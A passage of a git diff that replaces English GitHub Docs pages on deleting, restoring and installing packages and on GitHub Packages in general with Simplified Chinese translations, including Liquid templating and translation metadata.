+100,136 @@ curl -X POST \ HOSTNAME/graphql ``` -To find all of the private packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. You will need a {% data variables.product.pat_v1 %} with the `read:packages` and `repo` scopes. For more information, see the [`packages`](/graphql/reference/objects#repository) connection or the [`PackageOwner`](/graphql/reference/interfaces#packageowner) interface. +要查找已发布到 {% data variables.product.prodname_registry %} 的所有私有包以及包的版本 ID,你可以通过 `repository` 对象使用 `packages` 连接。 你将需要具有 `read:packages` 和 `repo` 范围的 {% data variables.product.pat_v1 %}。 有关详细信息,请参阅 [`packages`](/graphql/reference/objects#repository) 连接或 [`PackageOwner`](/graphql/reference/interfaces#packageowner) 接口。 -For more information about the `deletePackageVersion` mutation, see "[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)." +有关 `deletePackageVersion` 突变的详细信息,请参阅“[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)”。 -You cannot directly delete an entire package using GraphQL, but if you delete every version of a package, the package will no longer show on {% data variables.product.product_name %}. +您不能直接使用 GraphQL 删除整个包,但如果您删除包的每个版本,该包将不再显示在 {% data variables.product.product_name %} 上。 {% endif %} {% ifversion fpt or ghec %} -### Deleting a version of a user-scoped package on {% data variables.product.prodname_dotcom %} +### 在 {% data variables.product.prodname_dotcom %} 上删除用户范围的包版本 -To delete a specific version of a user-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps. To delete an entire package, see "[Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-user-scoped-package-on-github)." +要在 {% data variables.product.prodname_dotcom %} 上删除用户范围包的特定版本,例如 `ghcr.io` 上的 Docker 映像,请使用以下步骤。 若要删除整个范围,请参阅“[在 {% data variables.product.prodname_dotcom %} 上删除整个用户范围的包](#deleting-an-entire-user-scoped-package-on-github) -To review who can delete a package version, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." +若要查看谁可以删除包版本,请参阅“[所需权限](#required-permissions-to-delete-or-restore-a-package)”。 -{% data reusables.package_registry.package-settings-from-user-level %} -{% data reusables.package_registry.package-settings-option %} -5. On the left, click **Manage versions**. -5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**. - ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png) -6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**. - ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png) +{% data reusables.package_registry.package-settings-from-user-level %} {% data reusables.package_registry.package-settings-option %} +5. 在左侧,单击“管理版本”。 +5. 在要删除的版本的右侧,单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 并选择“删除版本”。 + ![删除包版本按钮](/assets/images/help/package-registry/delete-container-package-version.png) +6. 若要确认删除,请键入包名称,并单击“我知道后果,请删除此版本”。 + ![确认包删除按钮](/assets/images/help/package-registry/confirm-container-package-version-deletion.png) -### Deleting a version of an organization-scoped package on {% data variables.product.prodname_dotcom %} +### 在 {% data variables.product.prodname_dotcom %} 上删除组织范围的包版本 -To delete a specific version of an organization-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps. -To delete an entire package, see "[Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-organization-scoped-package-on-github)." +要在 {% data variables.product.prodname_dotcom %} 上删除组织范围包的特定版本,例如 `ghcr.io` 上的 Docker 映像,请使用以下步骤。 +若要删除整个范围,请参阅“[在 {% data variables.product.prodname_dotcom %} 上删除整个组织范围的包](#deleting-an-entire-organization-scoped-package-on-github)。 -To review who can delete a package version, see "[Required permissions to delete or restore a package](#required-permissions-to-delete-or-restore-a-package)." +要查看谁可以删除包版本,请参阅“[删除或还原包所需的权限](#required-permissions-to-delete-or-restore-a-package)”。 -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -5. On the left, click **Manage versions**. -5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**. - ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png) -6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**. - ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png) -{% endif %} +{% data reusables.package_registry.package-settings-from-org-level %} {% data reusables.package_registry.package-settings-option %} +5. 在左侧,单击“管理版本”。 +5. 在要删除的版本的右侧,单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 并选择“删除版本”。 + ![删除包版本按钮](/assets/images/help/package-registry/delete-container-package-version.png) +6. 若要确认删除,请键入包名称,并单击“我知道后果,请删除此版本”。 + ![确认包版本删除按钮](/assets/images/help/package-registry/confirm-container-package-version-deletion.png) {% endif %} -## Deleting an entire package +## 删除整个包 -### Deleting an entire repository-scoped package on {% data variables.product.prodname_dotcom %} +### 在 {% data variables.product.prodname_dotcom %} 上删除整个仓库范围的包 -To delete an entire repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." +要删除整个仓库范围的包,您必须对拥有该包的仓库具有管理员权限。 有关详细信息,请参阅“[所需的权限](#required-permissions-to-delete-or-restore-a-package)”。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.package_registry.packages-from-code-tab %} -{% data reusables.package_registry.package-settings-option %} -4. Under "Danger Zone", click **Delete this package**. -5. To confirm, review the confirmation message, enter your package name, and click **I understand, delete this package.** - ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.package_registry.packages-from-code-tab %} {% data reusables.package_registry.package-settings-option %} +4. 在“危险区域”下,单击“删除此包”。 +5. 要确认,请查看确认消息,输入你的包名称,然后单击“我了解,删除此包” + ![确认包删除按钮](/assets/images/help/package-registry/package-version-deletion-confirmation.png)。 {% ifversion fpt or ghec %} -### Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %} +### 在 {% data variables.product.prodname_dotcom %} 上删除整个用户范围的包 -To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." +若要查看谁可以删除包,请参阅“[所需权限](#required-permissions-to-delete-or-restore-a-package)”。 -{% data reusables.package_registry.package-settings-from-user-level %} -{% data reusables.package_registry.package-settings-option %} -5. On the left, click **Options**. - !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png) -6. Under "Danger zone", click **Delete this package**. - ![Delete package version button](/assets/images/help/package-registry/delete-container-package-button.png) -6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**. - ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png) +{% data reusables.package_registry.package-settings-from-user-level %} {% data reusables.package_registry.package-settings-option %} +5. 在左侧,单击“选项”。 + ![“选项”菜单选项](/assets/images/help/package-registry/options-for-container-settings.png) +6. 在“危险区域”下,单击“删除此包”。 + ![删除包版本按钮](/assets/images/help/package-registry/delete-container-package-button.png) +6. 若要确认删除,请键入包名称,并单击“我知道后果,请删除此包”。 + ![确认包版本删除按钮](/assets/images/help/package-registry/confirm-container-package-deletion.png) -### Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %} +### 在 {% data variables.product.prodname_dotcom %} 上删除整个组织范围的包 -To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." +若要查看谁可以删除包,请参阅“[所需权限](#required-permissions-to-delete-or-restore-a-package)”。 -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -5. On the left, click **Options**. - !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png) -6. Under "Danger zone", click **Delete this package**. - ![Delete package button](/assets/images/help/package-registry/delete-container-package-button.png) -6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**. - ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png) +{% data reusables.package_registry.package-settings-from-org-level %} {% data reusables.package_registry.package-settings-option %} +5. 在左侧,单击“选项”。 + ![“选项”菜单选项](/assets/images/help/package-registry/options-for-container-settings.png) +6. 在“危险区域”下,单击“删除此包”。 + ![删除包按钮](/assets/images/help/package-registry/delete-container-package-button.png) +6. 若要确认删除,请键入包名称,并单击“我知道后果,请删除此包”。 + ![确认包删除按钮](/assets/images/help/package-registry/confirm-container-package-deletion.png) {% endif %} + +## 恢复包 + +您在以下情况下可以恢复已删除的包或版本: +- 您在删除后 30 天内恢复包。 +- 相同的包名称空间和版本仍然可用,并且不重复用于新包。 + +例如,如果你有一个范围已限定为 `octo-repo-owner/octo-repo` 的名为 `octo-package` 的已删除 RubyGems 存储库,则仅当包命名空间 `rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` 仍然可用且尚未过 30 天时,才能还原该包。 + +{% ifversion fpt or ghec %} 若要还原已删除的包,你还必须满足以下权限要求之一: + - 对于存储库范围的包:你必须对拥有已删除的包的存储库具有管理员权限。{% ifversion fpt or ghec %} + - 对于用户帐户范围的包:你的个人帐户拥有已删除的包。 + - 对于组织范围的包:你对拥有包的组织中已删除的包具有管理员权限。{% endif %} {% endif %} + +{% ifversion ghae or ghes %} 若要删除包,还必须对拥有已删除的包的存储库具有管理员权限。 {% endif %} -## Restoring packages +有关详细信息,请参阅“[所需的权限](#required-permissions-to-delete-or-restore-a-package)”。 -You can restore a deleted package or version if: -- You restore the package within 30 days of its deletion. -- The same package namespace and version is still available and not reused for a new package. +在包恢复后,包将使用与以前相同的名称空间。 如果相同的包名称空间不可用,您将无法恢复包。 在这种情况下,要恢复已删除的包,您必须先删除使用已删除包名称空间的新包。 -For example, if you have a deleted RubyGems package named `octo-package` that was scoped to the repo `octo-repo-owner/octo-repo`, then you can only restore the package if the package namespace `rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` is still available, and 30 days have not yet passed. +### 恢复组织中的包 -{% ifversion fpt or ghec %} -To restore a deleted package, you must also meet one of these permission requirements: - - For repository-scoped packages: You have admin permissions to the repository that owns the deleted package.{% ifversion fpt or ghec %} - - For user-account scoped packages: Your personal account owns the deleted package. - - For organization-scoped packages: You have admin permissions to the deleted package in the organization that owns the package.{% endif %} -{% endif %} + 您可以通过组织帐户设置恢复已删除的包,只要该包位于 organizaton{% ifversion fpt or ghec %} 拥有的仓库中,或者具有粒度权限,并且范围限定在您的组织帐户{% endif %}。 -{% ifversion ghae or ghes %} -To delete a package, you must also have admin permissions to the repository that owns the deleted package. -{% endif %} +若要查看谁可以在组织中还原包,请参阅“[所需权限](#required-permissions-to-delete-or-restore-a-package)”。 -For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." - -Once the package is restored, the package will use the same namespace it did before. If the same package namespace is not available, you will not be able to restore your package. In this scenario, to restore the deleted package, you must delete the new package that uses the deleted package's namespace first. - -### Restoring a package in an organization - - You can restore a deleted package through your organization account settings, as long as the package was in a repository owned by the organizaton{% ifversion fpt or ghec %} or had granular permissions and was scoped to your organization account{% endif %}. - -To review who can restore a package in an organization, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -3. On the left, click **Packages**. -4. Under "Deleted Packages", next to the package you want to restore, click **Restore**. - ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png) -5. To confirm, type the name of the package and click **I understand the consequences, restore this package**. - ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png) +{% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} +3. 在左侧,单击“包”。 +4. 在“已删除的包”下要还原的包旁边,单击“还原”。 + ![“还原”按钮](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png) +5. 若要确认,请输入包名称,然后单击我明白后果,恢复此包”。 + ![恢复包确认按钮](/assets/images/help/package-registry/type-package-name-and-restore-button.png) {% ifversion fpt or ghec %} -### Restoring a user-account scoped package +### 恢复用户帐户范围的包 -You can restore a deleted package through your personal account settings, if the package was in one of your repositories or scoped to your personal account. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." +如果包位于你的一个存储库中或范围限定为你的个人帐户,则可以通过个人帐户设置还原已删除的包。 有关详细信息,请参阅“[所需的权限](#required-permissions-to-delete-or-restore-a-package)”。 {% data reusables.user-settings.access_settings %} -2. On the left, click **Packages**. -4. Under "Deleted Packages", next to the package you want to restore, click **Restore**. - ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png) -5. To confirm, type the name of the package and click **I understand the consequences, restore this package**. - ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png) +2. 在左侧,单击“包”。 +4. 在“已删除的包”下要还原的包旁边,单击“还原”。 + ![“还原”按钮](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png) +5. 若要确认,请输入包名称,然后单击我明白后果,恢复此包”。 + ![恢复包确认按钮](/assets/images/help/package-registry/type-package-name-and-restore-button.png) {% endif %} -### Restoring a package version +### 恢复包版本 -You can restore a package version from your package's landing page. To review who can restore a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." +您可以从包的登录页面恢复包版本。 若要查看谁可以还原包,请参阅“[所需权限](#required-permissions-to-delete-or-restore-a-package)”。 -1. Navigate to your package's landing page. -2. On the right, click **Package settings**. -2. On the left, click **Manage versions**. -3. On the top right, use the "Versions" drop-down menu and select **Deleted**. - ![Versions drop-down menu showing the deleted option](/assets/images/help/package-registry/versions-drop-down-menu.png) -4. Next to the deleted package version you want to restore, click **Restore**. - ![Restore option next to a deleted package version](/assets/images/help/package-registry/restore-package-version.png) -5. To confirm, click **I understand the consequences, restore this version.** - ![Confirm package version restoration](/assets/images/help/package-registry/confirm-package-version-restoration.png) +1. 导航到包的登录页。 +2. 在右侧,单击“包设置”。 +2. 在左侧,单击“管理版本”。 +3. 在右上角,使用“版本”下拉菜单并选择“已删除”。 + ![显示已删除选项的版本下拉菜单](/assets/images/help/package-registry/versions-drop-down-menu.png) +4. 在要还原的已删除包版本旁边,单击“还原”。 + ![已删除的包版本旁边的恢复选项](/assets/images/help/package-registry/restore-package-version.png) +5. 若要确认,请单击“我了解后果”,还原此版本” + ![确认包版本还原](/assets/images/help/package-registry/confirm-package-version-restoration.png)。 diff --git a/translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md b/translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md index da7cd8260f..da305e87ef 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md +++ b/translations/zh-CN/content/packages/learn-github-packages/installing-a-package.md @@ -1,6 +1,6 @@ --- -title: Installing a package -intro: 'You can install a package from {% data variables.product.prodname_registry %} and use the package as a dependency in your own project.' +title: 安装包 +intro: '您可以从 {% data variables.product.prodname_registry %} 安装包,并将包用作自己项目中的依赖项。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/installing-a-package @@ -12,22 +12,26 @@ versions: ghes: '*' ghae: '*' ghec: '*' +ms.openlocfilehash: 86c095ab1eddc969e4e04f3305059678ffcb9c20 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145130322' --- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +## 关于包的安装 -## About package installation +您可以在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上搜索,以查找 {% data variables.product.prodname_registry %} 中可以在自己项目中安装的包。 有关详细信息,请参阅“[在 {% data variables.product.prodname_registry %} 中搜索包](/search-github/searching-on-github/searching-for-packages)”。 -You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. For more information, see "[Searching {% data variables.product.prodname_registry %} for packages](/search-github/searching-on-github/searching-for-packages)." +找到包后,您可以在包页面上阅读包的说明以及安装和使用说明。 -After you find a package, you can read the package's description and installation and usage instructions on the package page. +## 安装包 -## Installing a package +你可以按照相同的一般准则,使用任何为实例启用的{% ifversion fpt or ghae or ghec %}支持的包客户端{% else %}包类型{% endif %}从 {% data variables.product.prodname_registry %} 安装包。 -You can install a package from {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. +1. 按照包客户端的说明,向 {% data variables.product.prodname_registry %} 验证。 有关详细信息,请参阅“[对 GitHub 包进行身份验证](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)”。 +2. 按照包客户端的说明安装包。 -1. Authenticate to {% data variables.product.prodname_registry %} using the instructions for your package client. For more information, see "[Authenticating to GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)." -2. Install the package using the instructions for your package client. - -For instructions specific to your package client, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." +有关特定于包客户端的说明,请参阅“[使用 {% data variables.product.prodname_registry %} 注册表](/packages/working-with-a-github-packages-registry)”。 diff --git a/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md b/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md index 158c0805c5..2ce589f422 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md +++ b/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md @@ -1,6 +1,6 @@ --- -title: Introduction to GitHub Packages -intro: '{% data variables.product.prodname_registry %} is a software package hosting service that allows you to host your software packages privately {% ifversion ghae %} for specified users or internally for your enterprise{% else %}or publicly{% endif %} and use packages as dependencies in your projects.' +title: GitHub Packages 简介 +intro: '{% data variables.product.prodname_registry %} 是一项软件包托管服务,允许您私下为指定的用户托管您的软件包{% ifversion ghae %},或在内部为您的企业{% else %}或公开{% endif %}托管,以及在您的项目中使用软件包作为依赖项。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/about-github-package-registry @@ -16,108 +16,108 @@ versions: ghae: '*' ghec: '*' shortTitle: Introduction +ms.openlocfilehash: 1ad319ead16f10186b330f876ccaa83bc44bdbcd +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193023' --- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +## 关于 {% data variables.product.prodname_registry %} -## About {% data variables.product.prodname_registry %} +{% data variables.product.prodname_registry %} 是一个用于托管和管理包的平台,包括容器和其他依赖项。 {% data variables.product.prodname_registry %} 将源代码和包组合在一起,以提供集成的权限管理{% ifversion fpt or ghec %}和计费{% endif %},使你能够在 {% data variables.product.product_name %} 上专注于软件开发。 -{% data variables.product.prodname_registry %} is a platform for hosting and managing packages, including containers and other dependencies. {% data variables.product.prodname_registry %} combines your source code and packages in one place to provide integrated permissions management{% ifversion fpt or ghec %} and billing{% endif %}, so you can centralize your software development on {% data variables.product.product_name %}. +您可以将 {% data variables.product.prodname_registry %} 与 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API、{% data variables.product.prodname_actions %} 以及 web 挂钩集成在一起,以创建端到端的 DevOps 工作流程,其中包括您的代码、CI 和部署解决方案。 -You can integrate {% data variables.product.prodname_registry %} with {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs, {% data variables.product.prodname_actions %}, and webhooks to create an end-to-end DevOps workflow that includes your code, CI, and deployment solutions. - -{% data variables.product.prodname_registry %} offers different package registries for commonly used package managers, such as npm, RubyGems, Apache Maven, Gradle, Docker, and NuGet. {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}'s {% data variables.product.prodname_container_registry %} is optimized for containers and supports Docker and OCI images.{% endif %} For more information on the different package registries that {% data variables.product.prodname_registry %} supports, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." +{% data variables.product.prodname_registry %} 为常用的包管理器提供不同的包注册表,例如 npm、RubyGems、Apache Maven、Gradle、Docker 和 Nuget。 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} 的 {% data variables.product.prodname_container_registry %} 针对容器进行了优化,支持 Docker 和 OCI 映像。{% endif %} 有关 {% data variables.product.prodname_registry %} 支持的不同包注册表的详细信息,请参阅“[使用 {% data variables.product.prodname_registry %} 注册表](/packages/working-with-a-github-packages-registry)”。 {% ifversion fpt or ghec %} -![Diagram showing packages support for the Container registry, RubyGems, npm, Apache Maven, NuGet, and Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) +![显示支持容器注册表、RubyGems、npm、Apache Maven、NuGet 和 Gradle 的软件包的示意图](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) {% else %} -![Diagram showing packages support for the Docker registry, RubyGems, npm, Apache Maven, Gradle, NuGet, and Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) +![显示支持 Docker 注册表、RubyGems、npm、Apache Maven、Gradle、Nuget 和 Docker 的软件包的示意图](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) {% endif %} -You can view a package's README, as well as metadata such as licensing, download statistics, version history, and more on {% data variables.product.product_name %}. For more information, see "[Viewing packages](/packages/manage-packages/viewing-packages)." +您可以在 {% data variables.product.product_name %} 上查看包的自述文件、元数据(如许可)、下载统计、版本历史记录等。 有关详细信息,请参阅“[查看包](/packages/manage-packages/viewing-packages)”。 {% ifversion ghes %} -For more information about the configuration of {% data variables.product.prodname_registry %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." +有关在 {% data variables.product.product_name %} 上配置 {% data variables.product.prodname_registry %} 的详细信息,请参阅“[企业的 {% data variables.product.prodname_registry %} 入门](/admin/packages/getting-started-with-github-packages-for-your-enterprise)”。 {% endif %} -### Overview of package permissions and visibility +### 包的权限和可见性概述 | | | |--------------------|--------------------| -| Permissions | {% ifversion packages-registries-v2 %}The permissions for a package are either inherited from the repository where the package is hosted, or can be defined for specific user or organization accounts. Some registries only support permissions inherited from a repository. For a list of these registries, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)." For more information on package access, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% else %}Each package inherits the permissions of the repository where the package is hosted.

For example, anyone with read permissions for a repository can install a package as a dependency in a project, and anyone with write permissions can publish a new package version.{% endif %} | -| Visibility | {% data reusables.package_registry.public-or-private-packages %} | +| 权限 | {% ifversion packages-registries-v2 %}可以从托管包的存储库继承包的权限,也可以为特定用户或组织帐户定义该权限。 某些注册表仅支持从存储库继承的权限。 有关这些注册表的列表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)”。 有关包访问权限的详细信息,请参阅“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)”。 {% else %}每个包都继承托管包的仓库的权限。

例如,对存储库有读取权限的任何人都可以将包安装为项目中的依赖项,具有写入权限的任何人都可以发布新的包版本。{% endif %} | +| 能见度 | {% data reusables.package_registry.public-or-private-packages %} | {% ifversion fpt or ghec %} -## About billing for {% data variables.product.prodname_registry %} +## 关于 {% data variables.product.prodname_registry %} 的计费 -{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." +{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} 有关详细信息,请参阅“[关于 {% data variables.product.prodname_registry %} 的计费](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)”。 {% endif %} -## Supported clients and formats +## 支持的客户端和格式 -{% data variables.product.prodname_registry %} uses the native package tooling commands you're already familiar with to publish and install package versions. -### Support for package registries +{% data variables.product.prodname_registry %} 使用您已经熟悉的原生包工具命令来发布和安装包版本。 +### 对包注册表的支持 -| Language | Description | Package format | Package client | +| 语言 | 说明 | 包格式 | 包客户端 | | --- | --- | --- | --- | -| JavaScript | Node package manager | `package.json` | `npm` | -| Ruby | RubyGems package manager | `Gemfile` | `gem` | -| Java | Apache Maven project management and comprehension tool | `pom.xml` | `mvn` | -| Java | Gradle build automation tool for Java | `build.gradle` or `build.gradle.kts` | `gradle` | -| .NET | NuGet package management for .NET | `nupkg` | `dotnet` CLI | -| N/A | Docker container management | `Dockerfile` | `Docker` | +| JavaScript | 节点包管理器 | `package.json` | `npm` | +| Ruby | RubyGems 包管理器 | `Gemfile` | `gem` | +| Java | Apache Maven 项目管理和理解工具 | `pom.xml` | `mvn` | +| Java | Java 的 Gradle 构建自动化工具 | `build.gradle` 或 `build.gradle.kts` | `gradle` | +| .NET | .NET 的 NuGet 包管理 | `nupkg` | `dotnet` CLI | +| 空值 | Docker 容器管理平台 | `Dockerfile` | `Docker` | -{% ifversion ghes %} -{% note %} +{% ifversion ghes %} {% note %} -**Note:** When enabling the Docker registry, we highly recommend also enabling subdomain isolation. For more information, see "[Enabling subdomain isolation](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation)." +注意:启用 Docker 注册表时,我们强烈建议还启用子域隔离。 有关详细信息,请参阅“[启用子域隔离](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation)”。 {% endnote %} {% endif %} -For more information about configuring your package client for use with {% data variables.product.prodname_registry %}, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." +有关配置包客户端以结合使用 {% data variables.product.prodname_registry %} 的详细信息,请参阅“[使用 {% data variables.product.prodname_registry %} 注册表](/packages/working-with-a-github-packages-registry)”。 -{% ifversion fpt or ghec %} -For more information about Docker and the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." +{% ifversion fpt or ghec %} 有关 Docker 和 {% data variables.product.prodname_container_registry %} 的详细信息,请参阅“[使用容器注册表](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)”。 {% endif %} -## Authenticating to {% data variables.product.prodname_registry %} +## 向 {% data variables.product.prodname_registry %} 验证 {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -## Managing packages +## 管理包 -You can delete a package in the {% data variables.product.product_name %} user interface{% ifversion fpt or ghec %} or using the REST API. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" and the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."{% else %}.{% endif %} {% data reusables.package_registry.about-graphql-support %} +可以在 {% data variables.product.product_name %} 用户界面中删除包{% ifversion fpt or ghec %}或使用 REST API 删除包。 有关详细信息,请参阅“[删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package)”和“[{% data variables.product.prodname_registry %} API](/rest/reference/packages)”。{% else %}{% endif %} {% data reusables.package_registry.about-graphql-support %} -When you use the GraphQL API to query and delete private packages, you must use the same {% data variables.product.pat_v1 %} you use to authenticate to {% data variables.product.prodname_registry %}. +使用 GraphQL API 查询和删除专用包时,必须使用向 {% data variables.product.prodname_registry %} 验证时使用的同一 {% data variables.product.pat_v1 %}。 -For more information, see {% ifversion ghes or ghae %}"[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" and {% endif %}"[Forming calls with GraphQL](/graphql/guides/forming-calls-with-graphql)." +有关详细信息,请参阅{% ifversion ghes or ghae %}“[删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package)”和{% endif %}“[使用 GraphQL 建立调用](/graphql/guides/forming-calls-with-graphql)”。 -You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the "[`package` webhook event](/webhooks/event-payloads/#package)." +您可以配置 web 挂钩来订阅与包相关的事件,例如包的发布或更新等事件。 有关详细信息,请参阅“[`package` Webhook 事件](/webhooks/event-payloads/#package)”。 -## Contacting support +## 联系支持部门 -{% ifversion fpt or ghec %} -If you have feedback or feature requests for {% data variables.product.prodname_registry %}, use a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/actions-and-packages). +{% ifversion fpt or ghec %} 如果你对 {% data variables.product.prodname_registry %} 有反馈或功能请求,请使用 [{% data variables.product.prodname_github_community %} 讨论](https://github.com/orgs/community/discussions/categories/actions-and-packages)。 -Contact {% data variables.contact.github_support %} about {% data variables.product.prodname_registry %} using [our contact form](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages) if: +如果在 {% data variables.product.prodname_registry %} 方面遇到以下问题,请使用[我们的联系表单](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages)联系 {% data variables.contact.github_support %}: -* You experience anything that contradicts the documentation -* You encounter vague or unclear errors -* Your published package contains sensitive data, such as GDPR violations, API Keys, or personally identifying information +* 遇到任何与文档相矛盾的事情 +* 遇到模糊或不清楚的错误 +* 发布的包中含有敏感数据,例如违反 GDPR、API 密钥或个人身份信息 -{% else %} -If you need support for {% data variables.product.prodname_registry %}, please contact your site 